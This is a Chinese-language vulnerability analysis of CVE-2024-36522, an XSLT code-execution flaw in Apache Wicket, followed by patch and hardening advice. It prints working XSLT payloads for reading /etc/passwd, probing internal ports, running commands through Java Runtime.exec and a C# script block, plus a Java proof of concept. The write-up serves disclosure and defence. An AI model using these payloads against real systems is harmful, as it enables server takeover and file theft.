Apache Wicket 爆出的XSLT 代码执行漏洞
字数 1551 2025-08-22 22:47:39

Apache Wicket XSLT 代码执行漏洞分析与利用指南

漏洞概述

漏洞编号: CVE-2024-36522
影响版本: Apache Wicket 9.18.0 与 10.1.0 之前的版本
漏洞类型: XSLT 代码执行
危害等级: 高危
影响: 攻击者可构造恶意请求执行任意代码,控制服务器

XSLT 基础知识

XSLT (Extensible Stylesheet Language Transformations) 是一种用于将 XML 文档转换成 HTML、文本或其他 XML 文档的语言,基于 XPath 和 XSL,是 W3C 定义的标准。

基本语法元素

  • xsl:stylesheet: 根元素,定义转换的基本信息
  • xsl:template: 定义转换模板,包含匹配模式和模板规则
  • xsl:for-each: 迭代 XML 文档中的节点集合
  • xsl:if, xsl:choose, xsl:when: 条件语句
  • xsl:value-of: 输出 XML 节点的文本内容
  • xsl:variable: 定义变量
  • xsl:param: 定义参数
  • xsl:include, xsl:import: 包含或导入其他 XSLT 样式表

漏洞利用技术

1. 信息泄露

system-property() 函数
可用于返回系统属性值,造成信息泄露:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>

可泄露的属性包括:

  • xsl:vendor
  • xsl:vendor-url
  • xsl:version

2. 文件读取

document() 函数
用于访问外部 XML 文档中的节点,可读取任意文件:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('/etc/passwd')"/>
    Fruits:
    <xsl:for-each select="fruit">
      - <xsl:value-of select="name"/> : <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

3. 端口探测

利用 document() 函数进行网络探测:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://172.16.132.1:25')"/>
    Fruits:
    <xsl:for-each select="fruit">
      - <xsl:value-of select="name"/> : <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

4. 远程代码执行 (RCE)

XSLT 处理器如果不禁用,能将本机 Java 语言方法暴露为 XSLT 函数,导致任意代码执行:

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
  xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
  
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
    <xsl:variable name="processString" select="ob:toString($process)"/>
    <xsl:value-of select="$processString"/>
  </xsl:template>
</xsl:stylesheet>

5. 嵌入脚本区块执行代码

嵌入的脚本区块是专有的 XSLT 扩展,可以直接在 XSLT 文档中包含代码(如 C#):

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  xmlns:user="urn:my-scripts">
  
  <msxsl:script language="C#" implements-prefix="user">
  <![CDATA[
    public string execute(){
      System.Diagnostics.Process proc = new System.Diagnostics.Process();
      proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
      proc.StartInfo.RedirectStandardOutput = true;
      proc.StartInfo.UseShellExecute = false;
      proc.StartInfo.Arguments = "/c dir";
      proc.Start();
      proc.WaitForExit();
      return proc.StandardOutput.ReadToEnd();
    }
  ]]>
  </msxsl:script>
  
  <xsl:template match="/fruits">
    --- BEGIN COMMAND OUTPUT ---
    <xsl:value-of select="user:execute()"/>
    --- END COMMAND OUTPUT ---
  </xsl:template>
</xsl:stylesheet>

6. 外部文件引入

利用 importinclude 引入外部恶意文件:

<xsl:import href="malicious.xsl"/>
<xsl:include href="malicious.xsl"/>

漏洞环境搭建

在 Maven 项目中添加存在漏洞的依赖:

<dependencies>
  <dependency>
    <groupId>org.apache.wicket</groupId>
    <artifactId>wicket-core</artifactId>
    <version>9.16.0</version> <!-- 存在漏洞的版本 -->
  </dependency>
</dependencies>

漏洞分析

漏洞主要存在于 XSLTResourceStream 类的构造函数中:

public XSLTResourceStream(final IResourceStream xsltResource, final IResourceStream xmlResource) {
  try {
    javax.xml.transform.Source xmlSource = new javax.xml.transform.stream.StreamSource(
      xmlResource.getInputStream());
    javax.xml.transform.Source xsltSource = new javax.xml.transform.stream.StreamSource(
      xsltResource.getInputStream());
    out = new ByteArrayOutputStream();
    javax.xml.transform.Result result = new javax.xml.transform.stream.StreamResult(out);
    
    javax.xml.transform.TransformerFactory transFact = 
      javax.xml.transform.TransformerFactory.newInstance();
    javax.xml.transform.Transformer trans = transFact.newTransformer(xsltSource);
    
    Map<Object, Object> parameters = getParameters();
    if (parameters != null) {
      for (Entry<Object, Object> e : parameters.entrySet()) {
        trans.setParameter(e.getKey().toString(), e.getValue().toString());
      }
    }
    
    trans.transform(xmlSource, result);
  } catch (Exception e) {
    throw new RuntimeException(e);
  } finally {
    IOUtils.closeQuietly(xmlResource);
    IOUtils.closeQuietly(xsltResource);
  }
}

关键点:

  1. 未对 XSLT 文件进行安全限制
  2. 直接使用 TransformerFactory.newInstance() 创建转换器
  3. 允许执行外部 Java 方法

漏洞复现 POC

import org.apache.wicket.util.resource.FileResourceStream;
import org.apache.wicket.util.resource.IResourceStream;
import org.apache.wicket.util.resource.XSLTResourceStream;
import java.io.File;

public class Main {
  public static void main(String[] args) {
    IResourceStream xstlStream = new FileResourceStream(
      new File("poc.xml"));
    IResourceStream xmlStream = new FileResourceStream(
      new File("poc.xml"));
    XSLTResourceStream stream = new XSLTResourceStream(xstlStream, xmlStream);
  }
}

POC.xml 文件内容:

<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
  xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
  
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
    <xsl:variable name="processString" select="ob:toString($process)"/>
    <xsl:value-of select="$processString"/>
  </xsl:template>
</xsl:stylesheet>

漏洞修复

官方在 9.18.0 与 10.1.0 版本中修复了此漏洞,主要修复措施:

  1. XSLTResourceStream 构造函数中新增了 defaultTransformerFactory 方法
  2. 设置了安全解析 XML 文件,默认禁用扩展函数
  3. 禁止使用外部 Java 方法(如 Runtime 执行系统命令)

修复后的关键代码:

TransformerFactory transFact = defaultTransformerFactory();

防御建议

  1. 升级到 Apache Wicket 9.18.0 或 10.1.0 及以上版本
  2. 如果无法立即升级,应限制 XSLT 文件来源,只允许受信任的来源
  3. 配置 XSLT 处理器禁用外部实体和扩展函数
  4. 实施输入验证,过滤恶意 XSLT 内容
  5. 使用安全配置的 TransformerFactory:
TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

总结

Apache Wicket XSLT 代码执行漏洞 (CVE-2024-36522) 是一个高危漏洞,攻击者可以通过构造恶意 XSLT 文件实现任意代码执行。该漏洞利用了 XSLT 处理器的扩展功能,特别是调用 Java 方法的能力。开发人员应及时升级到修复版本,或实施适当的安全措施来缓解风险。

Apache Wicket XSLT 代码执行漏洞分析与利用指南 漏洞概述 漏洞编号 : CVE-2024-36522 影响版本 : Apache Wicket 9.18.0 与 10.1.0 之前的版本 漏洞类型 : XSLT 代码执行 危害等级 : 高危 影响 : 攻击者可构造恶意请求执行任意代码,控制服务器 XSLT 基础知识 XSLT (Extensible Stylesheet Language Transformations) 是一种用于将 XML 文档转换成 HTML、文本或其他 XML 文档的语言,基于 XPath 和 XSL,是 W3C 定义的标准。 基本语法元素 xsl:stylesheet : 根元素,定义转换的基本信息 xsl:template : 定义转换模板,包含匹配模式和模板规则 xsl:for-each : 迭代 XML 文档中的节点集合 xsl:if , xsl:choose , xsl:when : 条件语句 xsl:value-of : 输出 XML 节点的文本内容 xsl:variable : 定义变量 xsl:param : 定义参数 xsl:include , xsl:import : 包含或导入其他 XSLT 样式表 漏洞利用技术 1. 信息泄露 system-property() 函数 可用于返回系统属性值,造成信息泄露: 可泄露的属性包括: xsl:vendor xsl:vendor-url xsl:version 2. 文件读取 document() 函数 用于访问外部 XML 文档中的节点,可读取任意文件: 3. 端口探测 利用 document() 函数进行网络探测: 4. 远程代码执行 (RCE) XSLT 处理器如果不禁用,能将本机 Java 语言方法暴露为 XSLT 函数,导致任意代码执行: 5. 嵌入脚本区块执行代码 嵌入的脚本区块是专有的 XSLT 扩展,可以直接在 XSLT 文档中包含代码(如 C#): 6. 外部文件引入 利用 import 和 include 引入外部恶意文件: 漏洞环境搭建 在 Maven 项目中添加存在漏洞的依赖: 漏洞分析 漏洞主要存在于 XSLTResourceStream 类的构造函数中: 关键点: 未对 XSLT 文件进行安全限制 直接使用 TransformerFactory.newInstance() 创建转换器 允许执行外部 Java 方法 漏洞复现 POC POC.xml 文件内容: 漏洞修复 官方在 9.18.0 与 10.1.0 版本中修复了此漏洞,主要修复措施: 在 XSLTResourceStream 构造函数中新增了 defaultTransformerFactory 方法 设置了安全解析 XML 文件,默认禁用扩展函数 禁止使用外部 Java 方法(如 Runtime 执行系统命令) 修复后的关键代码: 防御建议 升级到 Apache Wicket 9.18.0 或 10.1.0 及以上版本 如果无法立即升级,应限制 XSLT 文件来源,只允许受信任的来源 配置 XSLT 处理器禁用外部实体和扩展函数 实施输入验证,过滤恶意 XSLT 内容 使用安全配置的 TransformerFactory: 总结 Apache Wicket XSLT 代码执行漏洞 (CVE-2024-36522) 是一个高危漏洞,攻击者可以通过构造恶意 XSLT 文件实现任意代码执行。该漏洞利用了 XSLT 处理器的扩展功能,特别是调用 Java 方法的能力。开发人员应及时升级到修复版本,或实施适当的安全措施来缓解风险。